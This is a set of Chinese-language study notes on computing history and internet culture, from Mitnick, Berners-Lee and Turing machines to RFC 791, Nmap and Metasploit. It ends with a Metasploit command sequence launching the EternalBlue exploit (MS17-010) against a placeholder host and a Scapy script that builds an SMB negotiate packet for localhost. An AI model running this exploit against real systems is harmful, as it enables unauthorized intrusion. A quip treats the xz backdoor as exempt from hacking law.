计算机科学的历史和人物和互联网文化

陈思汗

April 5, 2025

🇨🇳 < 中华人民共和国刑法 > 第258条.
非法获取计算机信息系统数据, 非法控制计算机信息系统罪.
违反国家规定, 获取计算机信息系统中存储, 处理或者传输的数据(指国家事务, 国防建设, 尖端科学技术领域的), 或者对该计算机系统实施非法控制, 情节严重的, 处三年以下有期徒刑或者拘役, 并处或者单处罚金; ...
(除非你在$Github$上发, 比如$Jia\ Tan$的xz后门CVE-2024-3094)

附：李俊1982年7月—至今
代表作：熊猫烧香
中国破坏信息系统罪第一人.

📞
凯文·大卫·米特尼克 $Kevin\ David\ Mitnick$ 1963年8月6日—2023年7月16日
1979年后FBI统计他给诺基亚, 摩托罗拉, 和升阳等公司带来的损失高达4亿美元.
1983年用阿帕网控制五角大楼的计算机.

1994年戏弄日裔美籍计算机安全专家下村努.
1995年下村努和FBI逮捕了米特尼克.
2000年后, 他金盆洗手.
2023年7月16日, 米特尼克因胰脏癌在内华达州拉斯维加斯病逝, 享年59岁.
网址:$https://www.mitnicksecurity.com$
莱斯利 · 兰伯特($LesileLamport$)
是排版系统$\LaTeX$的开发者.
蒂莫西 · 约翰 · 伯纳斯 · 李
1955年6月8日—至今 英国计算机科学家.
他是万维网的发明者, 创办了世界上第一个网站和第一个网页浏览器.
让普通用户能够访问和浏览网页.
1990年12月25日, 他成功利用互联网实现了超文本传输协议客户端与服务器的第一次通讯.
策梅洛-弗兰克尔集合论
是二十世纪早期为了建构一个不会导致罗素悖论的矛盾的集合理论所提出的一个公理系统.
给定一在一阶语言$\mathfrak{F}$中的公式ϕ, 一变量x和一项t, 公式
$\forall x\phi \to \phi_t^x$是普遍有效的.
其中ϕ_t^x代表以项t来代换ϕ中的x后所得到的公式.
它表示数学是关于抽象对象的搜集和它们的性质的学科(如群, 环, 域)
图灵机:
是英国的艾伦.图灵于1936年提出的一种将人的计算行为抽象化的数理逻辑机.
他的基本思想是用机器来模拟人们用纸笔进行数学运算的过程.
他把这样的过程看作下列两种简单的动作:
在纸上写上或擦除某个符号.
把注意力从纸的一处移到另一处.
图灵机的概述:
三个组成部分:纸带, 表头, 和操作规则.
纸带被分为格子, 像一条直线.
表头, 在纸带上移动, 可以读取当前格子上符号或写入一个新的符号.
表头在任意时刻都会处于一个状态, 可以用不同字母表示.
美国的诺伯特.维纳在1948年出版了⟨控制论⟩
′1.计算机的核心部分的加法和乘法运算应当是数字式的, 就像普通的加法机一样. · · ·
3.设备采用二进制而不是十进制的加法和乘法可能更经济.
· · ·
5.该机器包含一个存储数据的装置, 它能够迅速记录数据, 并将它们牢固的保存到被擦除为止 · · ·′

⟨引言⟩
1969年, (*Internet*的前身)阿帕网正式投入运行.
其成员国际斯坦福研究所手动维护并分享了一个名为*HOSTS.TXT*的文件
其中包括主机名称和对应地址.1983年, *DNS*系统开始开发, 1984年得到了发展.
*Unix*和类*Unix*系统中路径 */etc/hosts*
Microsoft Windows 路径%*SystemRoot*%*System*32*drivers**etc**hosts*
...
*RFC*系列包含有关互联网的技术和组织文件, 这里的*RFC*不包含
规范和政策文件.
1981年人们发表了*RFC* 791定义了互联网协议版本四
以下是节选
′生存时间(共8比特)由发送者设置为他允许数据包在网络中传输的时间
(以秒为单位).如果数据包在互联网系统中的时间长于给定的生存时间
(或字段包含值0), 那么数据包必须被丢弃.
每经过一个计算机, (那个计算机)必须至少将生存时间减少一,
即使它在不到一秒的时间内处理完数据包.
因此只能将生存时间视为数据包可能存在时间的上确界.
其目的是限制数据包的最大生命周期.′
还有一份讣告*rfc*2468.*txt*
*Jon Postel*在1998年去世.
他的朋友*Vinton*曾和他就读于同一所高中.
由*Gordon Lyon*的自述:′自1997年以来, 一直在开发和分发免费的*Nmap*安全
扫描程序.′

1997年末, *Gerald Combs*(杰拉尔德.库默斯)开始编写*Etheral*
2006年, 它以一个新名称重新出现(*Wireshark*)

GeoLite2-City.mmdb
https://lbsyun.baidu.com/jsdemo/demo/yLngLatLocation.htm(根据经纬度定位)
开源的定义:
开源不仅仅意味着访问源代码.开源软件的分发条款必须满足
https://www.debian.org/social_contract中的十条.
在1999年末,H.D.Moore(Metasploit项目创始人)在NAVY Shadow(影子入侵检测系统)项目中
Stephen Northcutt···
$Northcutt$要求$Moore$把他的成果在1999年的$SANS$大会予以发表.···
$Moore$将他($Norhcutt$)的成果命名为$Nlog$.
$Python$是在1990年代初由$Guido\ van\ Rossum$作为一门名为ABC的语言的后继
者创造的.

流行的$msfconsole$脚本

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS xxx.xxx.xxx.xxx
exploit -j -z
```

以下是CVE-2017-0143的1/10

```
# Negotiate Protocol Request
from scapy.all import wrpcap,IP,TCP,Raw,Ether
s=(
    b"\xff\x53\x4d\x42"
    #Server Component: SMB
    b"\x72"
    # SMB Command: Negotiate Protocol(0x72)
```

```
    b"\x00\x00\x00\x00"
    #NT Status: STATUS_SUCCESS(0x00000000)
    b"\x18"
    #Flags: 0x18,Canonicalized Pathnames,Case Sensitivity
    b"\x53\xc0"
    #Flags2 0xc053 Unicode Strings,Error Code Type Long Names Used,
    #Secuirty Signatures Required,Extended Attributes
    b"\x00\x00"
    #Process ID High
    b"\x00\x00\x00\x00"
    b"\x00\x00\x00\x00"
    #Signature: 0000000000000000
    b"\x00\x00"
    #Reserved: 0000
    b"\x00\x00"
    #Tree ID:0
    b"\x98\x16"
    #Process ID:5784
    b"\x00\x00"
    #User ID: 0
    b"\x40\x00"
    #Multiplex ID: 64
    b"\x00"
    #Word Count(WCT): 0
    b"\x17\x00"
    # Byte Count(BCC): 23
    b"\x02"
    #Buffer Format: Dialect (2)
    b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
    #Name: LANMAN1.0
    b"\x02"
    #Buffer Format:Dialect (2)
    b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
    #Name: NT LM 0.12
)
a=len(s)
w=(
    b"\x00"
    +a.to_bytes(3,"big")
    #Message Type: Session Message(0x00)
    #Lenght 58
    )
#NetBIOS Session Service
p=w+s
sendp(Ether()/IP(src="127.0.0.1",dst="127.0.0.1")/
TCP(dport=445,sport=6666,flags="PA")/Raw(load=p))
```